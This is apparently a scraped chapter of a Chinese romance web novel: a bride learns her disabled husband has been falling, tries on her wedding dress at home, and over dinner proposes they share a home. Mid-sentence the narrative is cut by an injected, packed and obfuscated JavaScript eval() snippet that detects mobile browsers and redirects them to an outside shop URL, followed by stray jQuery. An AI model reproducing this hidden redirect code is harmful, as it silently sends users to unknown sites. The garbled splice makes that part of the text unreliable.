盛夏里一早就跟阿姨打过招呼,今晚不用做她的饭。她打算带阙政南去附近的西餐厅解决晚餐,毕竟还不习惯把澜台府当成自己的家来宴请朋友。
等阙政南的空隙里,盛夏里在客厅里一直没得闲。
先是几条婚纱改好了尺寸,对方在电话里问她今晚能不能腾出空来最后试穿一次。
刚应下,黄永年的电话又进来,说是收到了亲家派人送来的空运海鲜和水果,嘱咐她务必代他们向亲家道声谢。
公司内部频道又弹出一连串的消息,负责调试的同事忙到焦头烂额,说是一个底层逻辑怎么都跑不通,非得让她现在就登入后台看看……
正回复着消息,盛夏里听到一声轻微的关门声。
她立刻回头,只见阙政南竖起食指抵在唇边,做了一个噤声的手势,用嘴型虚声:“你老公睡着了。”
她点点头,引着阙政南朝玄关的方向去。
“师兄,他的腿情况怎么样?”
阙政南正色道:“客观来说,他的情况比我接手过的绝大多数T12损伤患者都要好。但是,我检查的时候发现,他腿部软组织有多处明显的淤青,有些甚至是陈旧性的。”
他顿了顿,看向盛夏里:“他最近是不是经常摔跤?如果是的话,我的建议是,这段时间还是尽量轮椅和双手杖交替使用,单手杖对现在的他来说,支撑力还不够。”
盛夏里的猜想得到了印证。
那晚从纪洛尘房间传来的异响,以及那一地狼藉的领带和袖扣,不是没由来的。
摔倒后再站起来,更是困难。
怪不得那晚他特意让她留在房间里,等他洗完澡。
阙政南没注意到她眼底的波澜,转头打量了一圈四周,“这么大个平层,就没请个住家保姆?”
这个问题盛夏里早有预案,答起来很顺口:“我和他都喜欢清净,不太习惯家里有外人,保姆只在白天我们上班的时候来做饭打扫。”
阙政南语气难得严肃:“你老公是普通人吗?他腿部这种状况,家里没个人怎么行?我在临床上见过太多这样的案例了,老婆不在家,老公摔倒了,或者是突发疾病,就因为家里没人搭把手,错过了最佳的抢救时间。”
这个角度是盛夏里没想过的。
她被说得心里发虚:“好,我会把这个因素考虑进去的。”
说着,她拿起玄关柜上的车钥匙和手包,转身就要换鞋:“走吧,我们去附近的西餐厅吃饭,我看过评价,味道还不错。”
阙政南站在原地没动,一脸不可思议地看着她:“就我俩去吃?把你老公一个人扔家里?”
盛夏里动作一顿:“这有什么问题吗?阿姨没做饭,我也不会做,让你特地跑一趟,总不能让你饿着肚子回去吧。”
平日里她和纪洛尘同在屋檐下,也是各吃各的,她早已习惯了这种互不干涉的模式。
阙政南简直要被这个工科女的脑回路气笑了,他指了指主卧房门。
“你换位思考一下。假设现在是你腿动不了,浑身是伤,睡一觉醒过来,发现外面天黑了,偌大的房子里空空荡荡,连个人影都没有,厨房里也是冷锅冷灶一点烟火气都没有。你会是什么感觉?凄凉、孤独、寂寞、冷,这几个词够不够形容?”
盛夏里刚想笑他夸张,可记忆深处的某个画面毫无预兆地回到眼前。
大二那年的寒假,她申请留校做兼职,东大为了统一管理,留守学生被集中安排在硕博生住的海棠楼。
除夕那晚她突发高烧,烧得迷迷糊糊,半夜醒来找水喝,发现窗外不远处的居民楼里是万家灯火全家团圆,屋内却是刺骨的冰凉和无边的黑暗。
那种被世界遗弃的孤寂感,她一直记着。
握着车钥匙的手指紧了紧,最终慢慢松开,她将车钥匙放回了原处。
见她听进去了,阙政南这才动身穿鞋:“行了,这顿饭先欠着,也别整什么西餐,我吃不惯。”
盛夏里笑着答应了。
/
纪洛尘睁开眼,这一觉睡得沉。
他伸手摸到床头柜上的手机,屏幕亮起的刺眼白光让他微微眯了眼。
快九点了。
竟然睡了三个小时。
他掀开被子坐起身,那种久违的轻松感让他呼出一口气。拿过靠在床头的手杖,撑着地面站起,接着拉开卧室门,客厅明亮的灯光瞬间倾泻过来。
他停住脚步。
本以为家里会是一片冷清。
客厅中央,盛夏里背对着他站着。
她穿着一件极简的缎面白色婚纱,长发被随意挽起。
两个工作人员正蹲在她脚边,一人在整理拖尾的裙摆,另一人正收紧腰侧的鱼骨线。
几人的交谈声刻意压得很低。
正在调整裙摆的工作人员最先看见立在阴影处的男人,立刻站直了身体,恭敬道:“纪先生。”
盛夏里听到动静,回头看向他:“吵醒你了?”
“没有,自然醒的。”纪洛尘走近了些,目光落在她身上的婚纱上。
最初定下的主纱设计繁复,有刺绣和钻石堆砌。
而眼前的这件缎面白纱剪裁极为利落简约,大露背的设计将她背部那道深陷的脊柱沟展露无遗,布料随着身体曲线流动,像是一层流淌的月光。
“怎么不是上次那身?”他问,视线克制地从她背部的肌肤上移开。
盛夏里在镜子里左右转了转:“这身不好看吗?我倒觉得这件更适合。”
一旁的工作人员解释:“纪先生,纪太太是典型的浓颜长相,五官本身就很有辨识度。过于繁复的设计反而会显得累赘,这种简洁利落的款式,正好能突出纪太太的气质。”
纪洛尘闻言,重新审视了一番。
当初陪骆天依试婚纱,她对婚纱的要求很高,执着大面积镶钻或是全手工刺绣,他以为婚纱里的高级元素越多,就越彰显新娘的华贵。
但盛夏里显然不同,这身素到极致的白纱穿在她身上,非但不显寡淡,反而有一种返璞归真的高级感。
“你满意就行。”他点了点头。
工作人员加快了手上的动作,“纪太太,这边线条收好了,我们帮您脱下来。”
涉及更衣,纪洛尘自觉不便留下,“你们忙,我先去书房处理点事情。”
盛夏里喊住他:“纪洛尘,等会儿出来吃晚饭,我点了外卖,应该快送到了。”
纪洛尘很是意外:“你没吃晚饭?”
正配合着工作人员拉开背后的隐形拉链,盛夏里没法回头,只能对着镜子里的男人应道:“嗯,想着你醒来肯定饿,就等你一起吃。”
“好。”
正帮忙脱婚纱的工作人员这时顺着话提醒了一句:“纪太太,明后天饮食上要注意些了。特别是婚宴前一晚,晚饭尽量少吃或者不吃。这款主纱是完全贴身的设计尽量保持腹部平坦,这样到时候跟拍出来的效果才好看。”
“要求那么多。”原本已经走出两步的纪洛尘,又折返,怒意沉沉,“为了件衣服就让人饿肚子?这婚纱既然这么挑人,那就换掉。”
被莫名斥责,工作人员手里攥着刚解下来的头纱,尴尬得不知所措,她只能求救般地看向盛夏里。
盛夏里也没想到他在这种小事上反应这么大。
她这会儿婚纱刚脱了一半,总不能僵在这儿。
“别了,再换婚纱,折腾的还是我。那我吃点沙拉、酸奶这些总没问题吧?”她朝工作人员
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281637|198370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挤挤眼。
对方机灵地收到讯号,连连点头,还觑着纪洛尘的脸色找补:“对对对,纪太太说得对,再补充些优质蛋白,反而状态更好。”
纪洛尘盯着盛夏里看了一会儿,松了口:“随你。”
见书房门被关上,半蹲在脚边的工作人员这才敢轻轻呼出一口气。
这么霸道的总裁,怎么偏偏就她遇到了。
万幸新娘通情达理,否则她今天真要丢了工作。
/
调试婚纱的工作人员刚离开,后脚澜台府的管家就把外卖送到了家门口。
盛夏里提着保温袋先去了厨房,想把食物一一装盘后再端到餐桌上。
她正寻找餐盘,这时身后传来了脚步声。
知道是纪洛尘,她没回头,直接问:“餐盘在哪个柜子里?”
熟悉的木质香先一步笼罩下来,这次盛夏里仔细辨了一辨,像是冷杉的味道。
他伸手越过她肩头,咔嗒一声打开隐藏式橱柜。
整排骨瓷餐盘整齐排列。
“要几个?”他低沉的嗓音混着热气,擦过她的耳廓。
她屏住呼吸,睫毛快速眨动了几下。
“拿六个吧。”
纪洛尘用指节抵住她正要取盘的手腕,“我来弄,你去坐着。”
说话间,他另一只手已经利落地取出餐盘。
晚餐很快布置妥当。
盛夏里向来喜欢速战速决,包括吃饭。
她夹了个三鲜饺子送入嘴里,匆忙咀嚼了几下就咽了下去。
纪洛尘坐在对面,不动声色地观察着她。
很快,盛夏里感受到了这种特殊的注目,抬头。
她也看着他。
“你总是这样吃饭吗?”他问道。
盛夏里愣了一下,正要去夹饺子的筷子悬在半空:“什么样子?”
“吃得快。”
他还想起他们在锡市吃的那顿饭,她很少说话,每道菜吃了几口就停下了。
若不是纪洛尘特意提起,盛夏里根本没意识到自己吃饭存在这个问题,她想了想,“也许是高中养成的习惯吧,那时候午饭和晚饭时间只有三十分钟,吃完还要赶着做试卷……”
进了大学,她的习惯也没有太大的改变。
一来是她独来独往惯了,没闲情细嚼慢咽,二来她开始做家教后,课余时间都用来备课,时间于她而言,依旧是不够用的。
纪洛尘推了一道菜到她面前,“吃吃看。”
在锡城的时候,纪洛尘发现她偏爱河鲜。
推过来的青花瓷碟里,鱼肉上点缀着嫩黄的姜芽和翠绿的葱丝,水产特有的鲜甜香气钻进鼻腔,很是诱人。
盛夏里夹了一小块鱼肉,放入嘴中细细尝了尝。
她尝到了姜丝的少许辛辣,鱼肉的鲜甜,还有豉油恰到好处的咸香。
“好吃。”她不会给专业的评价,只能简单两个字来概括。
用公筷剔下一块鱼脸颊肉放进她碗里,“刚刚那样就挺好,以后在家就慢慢吃饭。”
盛夏里喉咙滚动,咽下鱼肉。
“纪洛尘,有件事,我想和你商量下。”
“嗯?”他等着她往下说。
“我们住一起吧。”她无端地低了声音。
试纱的时候,她一直在思考阙政南的话。
起初她的目的很明确,她需要已婚身份。但这段关系,纪洛尘从中能获得的益处却微乎其微。她无法心安理得地只顾自身的处境,而无视他的。
更何况阙政南说得对,意外事故时有发生,她不可以忽略这些潜在的危险。
可能是不敢置信,纪洛尘怔了几秒,随后表情才有了变化,“是哪种住一起?”